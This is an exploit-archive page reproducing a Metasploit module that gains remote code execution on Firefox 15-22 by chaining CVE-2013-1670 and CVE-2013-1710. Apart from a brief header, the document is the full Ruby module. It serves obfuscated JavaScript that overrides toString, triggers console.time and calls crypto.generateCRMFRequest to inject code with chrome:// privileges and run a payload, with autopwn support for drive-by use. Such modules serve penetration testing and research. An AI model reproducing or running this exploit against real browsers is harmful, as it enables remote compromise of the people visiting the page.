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Firefox toString console.time Privileged Javascript Injection

Firefox toString console.time Privileged Javascript Injection
Posted Aug 18, 2014
Authored by moz_bug_r_a4, joev, Cody Crews | Site metasploit.com

This Metasploit module gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges.

tags | exploit, remote, javascript, vulnerability, code execution
advisories | CVE-2013-1670, CVE-2013-1710
MD5 | 161163ea27bfe8bf6f13a8d33a2731a7

Firefox toString console.time Privileged Javascript Injection

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/exploitation/jsobfu'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "15.0",
:ua_maxver => "22.0",
:javascript => true,
:rank => ExcellentRanking
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox toString console.time Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 15-22 by abusing two separate
Javascript-related vulnerabilities to ultimately inject malicious Javascript code
into a context running with chrome:// privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'moz_bug_r_a4', # discovered CVE-2013-1710
'Cody Crews', # discovered CVE-2013-1670
'joev' # metasploit module
],
'DisclosureDate' => "May 14 2013",
'References' => [
['CVE', '2013-1670'], # privileged access for content-level constructor
['CVE', '2013-1710'] # further chrome injection
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(15, 22) }
}
))

register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
], self.class)
end

def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end

def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin

js = Rex::Exploitation::JSObfu.new(%Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var y = {}, q = false;
y.constructor.prototype.toString=function() {
if (q) return;
q = true;
crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");
return 5;
};
console.time(y);
|)

js.obfuscate

%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT']}
</body>
</html>
|
end
end

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